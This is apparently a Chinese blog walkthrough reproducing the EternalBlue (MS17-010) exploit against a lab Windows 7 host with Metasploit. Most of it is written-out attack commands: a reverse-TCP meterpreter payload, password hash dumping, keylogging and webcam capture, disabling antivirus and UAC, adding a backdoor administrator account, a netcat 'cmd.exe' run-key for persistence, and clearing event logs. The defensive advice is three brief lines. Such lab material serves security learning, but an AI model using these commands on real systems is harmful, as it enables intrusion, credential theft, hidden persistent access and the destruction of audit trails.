永恒之蓝漏洞复现(ms17-010)

发布时间 2023-04-21 12:09:54作者: hkgan

文章目录

    一、永恒之蓝(Eternal Blue)
    二、复现环境
    三、复现过程
        1.主机发现
        2.进入MSF框架
        3.使用ms17-010扫描模块,对靶机进行扫描
            3.1使用模块
            3.2查看模块需要配置的参数
            3.3设置攻击目标
            3.4再次查看配置参数
            3.5执行扫描
        4.使用ms17-010攻击模块,对靶机进行攻击
            4.1查看这个漏洞的信息
            4.2查看可攻击的系统平台
            4.3查看攻击载荷
            4.4设置攻击载荷(默认windows/x64/meterpreter/reverse_tcp)
            4.5查看参数配置
            4.6设置目标攻击目标ip
            4.7设置监听主机(kali)
            4.8执行攻击
        5.后渗透阶段
            5.1查看主机系统信息
            5.2查看主机ip
            5.3查看用户身份
            5.4获得shell控制台
            5.5想要从目标主机shell退出到meterpreter
            5.6获取截屏
            5.7获取用户密码
            5.8创建新的管理员账户
                进入shell控制台
                在目标主机上创建一个名为hack的用户,密码为123
                将hack加入到windows 7的本地管理员组中,以便获得更大权限
                查看本地用户
                查看本地管理员
            5.9开启远程桌面
        6.关闭主机防护策略并开启后门
            6.1查看用户及密码
            6.2创建防火墙规则
            6.3关闭UAC
            6.4开启默认共享
            6.5使用扫描模块
            6.6查看需要设置的参数
            6.7上传后门程序
            6.8设置键值
            6.9重启目标主机
        7.清除事件日志
    四、漏洞防御
    参考文章
    复现时出现的问题

 


 

一、永恒之蓝(Eternal Blue)

  永恒之蓝是在 Windows 的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

二、复现环境

  攻击机:kali (192.168.203.130)
  靶 机:Windows 7 (192.168.203.134)

三、复现过程

1.主机发现

nmap进行ip端口扫描:

nmap -T4 -A -v 192.168.203.134    #靶机ip地址

扫描到开放了445端口,而永恒之蓝利用的就是445端口的smb服务,操作系统溢出漏洞。

2.进入MSF框架

msfconsole

search ms17-010

通过这两个工具,其中
0 exploit/windows/smb/ms17_010_eternalblue是永恒之蓝攻击代码,一般两者配合使用,前者先扫描,若是显示有漏洞,再进行攻击。
3 auxiliary/scanner/smb/smb_ms17_010是永恒之蓝扫描模块,探测主机是否存在MS17-010漏洞。

3.使用ms17-010扫描模块,对靶机进行扫描

3.1使用模块

  该模块不会直接在攻击机和靶机之间建立访问,他们只负责执行扫描,嗅探,指纹识别的相关功能,以辅助渗透测试。

use auxiliary/scanner/smb/smb_ms17_010

3.2查看模块需要配置的参数

show options

  Required栏中选项为yes的说明对应的Current Setting栏需要填写,如RHOSTS。

3.3设置攻击目标

  RHOSTS 参数是要探测主机的ip或ip范围
  设置攻击目标ip:

set rhosts  192.168.203.134

3.4再次查看配置参数

show options 

3.5执行扫描

run

  显示主机可能容易受到 MS17-010 的攻击! - Windows 7 x64(64 位)

4.使用ms17-010攻击模块,对靶机进行攻击

use exploit/windows/smb/ms17_010_eternalblue

4.1查看这个漏洞的信息

info

4.2查看可攻击的系统平台

  这个命令显示该攻击模块针对哪些特定操作系统版本、语言版本的系统

show targets

 

  这里只有一个,有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)。

4.3查看攻击载荷

  攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。

show payloads

  该命令可以查看当下漏洞利用模块下可用的所有Payload

4.4设置攻击载荷(默认windows/x64/meterpreter/reverse_tcp)

set payload windows/x64/meterpreter/reverse_tcp

4.5查看参数配置

show options

4.6设置目标攻击目标ip

set rhosts 192.168.203.134    #(如果有多个攻击目标ip间直接用空格隔开就行)

4.7设置监听主机(kali)

set LHOST 192.168.203.130

4.8执行攻击

exploit    #或者用run

  攻击成功,显示下图:

  以进行文件上传下载,获取截屏,获取密码,使用摄像头拍照,后门持久化等操作。

5.后渗透阶段

  运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即攻击者的本地主机地址(LHOST)和端口号(LPORT)。

在meterpreter > 中我们可以使用以下的命令来实现对目标的操作:
sysinfo             #查看目标主机系统信息
run scraper         #查看目标主机详细信息
hashdump        #导出密码的哈希
load kiwi           #加载
ps                  #查看目标主机进程信息
pwd                 #查看目标当前目录(windows)
getlwd              #查看目标当前目录(Linux)
search -f *.jsp -d e:\                #搜索E盘中所有以.jsp为后缀的文件
download  e:\test.txt  /root          #将目标机的e:\test.txt文件下载到/root目录下
upload    /root/test.txt d:\test      #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid              #查看当前Meterpreter Shell的进程
PIDmigrate 1384     #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime            #查看主机运行时间
getuid              #查看获取的当前权限
getsystem           #提权
run  killav         #关闭杀毒软件
screenshot          #截图
webcam_list         #查看目标主机的摄像头
webcam_snap         #拍照
webcam_stream       #开视频
execute  参数  -f 可执行文件   #执行可执行程序
run getgui -u hack -p 123    #创建hack用户,密码为123
run getgui -e                #开启远程桌面
keyscan_start                #开启键盘记录功能
keyscan_dump                 #显示捕捉到的键盘记录信息
keyscan_stop                 #停止键盘记录功能
uictl  disable  keyboard     #禁止目标使用键盘
uictl  enable   keyboard     #允许目标使用键盘
uictl  disable  mouse        #禁止目标使用鼠标
uictl  enable   mouse        #允许目标使用鼠标
load                         #使用扩展库
run				             #使用扩展库
clearev                       #清除日志

示例:

5.1查看主机系统信息

sysinfo

5.2查看主机ip

ipconfig

5.3查看用户身份

getuid

  用户身份为: NT AUTHORITY\SYSTEM,这个也就是Windows的系统权限

5.4获得shell控制台

shell

5.5想要从目标主机shell退出到meterpreter

exit

5.6获取截屏

screenshot

  下面的模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。

run post/windows/manage/migrate                  #自动进程迁移     
run post/windows/gather/checkvm                  #查看目标主机是否运行在虚拟机上     
run post/windows/manage/killav                   #关闭杀毒软件     
run post/windows/manage/enable_rdp               #开启远程桌面服务     
run post/windows/manage/autoroute                #查看路由信息     
run post/windows/gather/enum_logged_on_users     #列举当前登录的用户     
run post/windows/gather/enum_applications        #列举应用程序     
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码     
run windows/gather/smart_hashdump                #dump出所有用户的hash

示例:

5.7获取用户密码

run windows/gather/smart_hashdump或者hashdump

  在网上搜索MD5破解即可查到相关破解网站:

5.8创建新的管理员账户

进入shell控制台

在目标主机上创建一个名为hack的用户,密码为123

net user hack 123 /add

将hack加入到windows 7的本地管理员组中,以便获得更大权限

net localgroup administrators hack /add

查看本地用户

net user

查看本地管理员

net localgroup administrators

  可以看到hack已经被添加到windows管理员组中。

5.9开启远程桌面

  运用getuid脚本开启目标主机远程桌面:

run getgui -e    #或者run post/windows/manage/enable_rdp

 在kali终端输入

rdesktop 192.168.203.134    #靶机ip地址

  即可打开远程桌面

6.关闭主机防护策略并开启后门

6.1查看用户及密码

hashdump

6.2创建防火墙规则

  创建一条防火墙规则允许4444端口访问网络,方便后期操作

shell

netsh firewall add portopening TCP 4444 "hack" ENABLE ALL

  新建一个防火墙规则,允许443端口访问网络

netsh firewall add portopening TCP 443 "hack" ENABLE ALL

6.3关闭UAC

  其原理就是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序损坏系统的效果。

cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

ADD    #添加一个注册表项
-v    #创建键值
-t    #键值类型
-d    #键值的值
-f    #强制修改注册表项

6.4开启默认共享

  开启系统主机的默认共享,默认共享对于主机文件共享非常方便,也方便黑客利用这个功能,远程执行命令。

cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

  exit返回meterpreter,输入background将永恒之蓝拿到的会话保持到后台。

6.5使用扫描模块

use exploit/windows/smb/psexec

6.6查看需要设置的参数

show options

set rhosts 192.168.203.134    #设置靶机ip
set smbuser hack    #设置靶机账户名
set smbpass    #设置靶机密码(hack账户密码hash值)
set smbdomain WORKGROUP    #设置靶机工作组
run    #运行

6.7上传后门程序

  为了让连接持久话,我们可以上传后门程序,这样就能保持会话长久建立。在kali 里面如下路径有我们的后门程序nc 俗称瑞士军刀。我们可以将它上传到目标机c盘里面

  上传nc到c盘windows文件夹中,如果想更隐蔽一点,可以在往文件夹里面上传

打开靶机window文件夹可以看到成功上传文件。

6.8设置键值

当目标机开机,程序后台运行,且监听端口为443,这个端口就是之前在shell中创建的新防火墙规则:允许443端口访问网络。

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\nc.exe -Ldp 443 -e cmd.exe'

6.9重启目标主机

reboot

  在kali终端就可以直接使用

nc -v 192.168.203.134 443

连接了。。。。。。

  这样就可以直接通过nc监听靶机。
  至此,永恒之蓝的攻击复现就完成了,后续其他的进一步攻击可以向上传nc一样上传病毒。

7.清除事件日志

  由于攻击过程中的所有操作都会被记录在目标系统的日志文件之中,因此需要在完成攻击之后使用

clearev    #命令来清除事件日志

 

四、漏洞防御

1.关闭445端口。
2.打开防火墙,安装安全软件。
3.安装对应补丁

参考文章

https://blog.csdn.net/qq_44159028/article/details/104044002
https://cxymm.net/article/dreamthe/121375464#%C2%A03.%E6%B0%B8%E6%81%92%E4%B9%8B%E8%93%9D%E5%88%A9%E7%94%A8%E4%B9%8B%E8%BF%9C%E7%A8%8B%E6%A1%8C%E9%9D%A2%E7%99%BB%E5%BD%95%E3%80%82
https://blog.csdn.net/weixin_43913009/article/details/123887992

复现时出现的问题

  在复现时曾经使用过Windows8和Windows10来作为靶机,但是在使用ms17-010攻击模块时,却出现这样的错误提示:

use exploit/windows/smb/ms17_010_eternalblue

Windows8

Windows10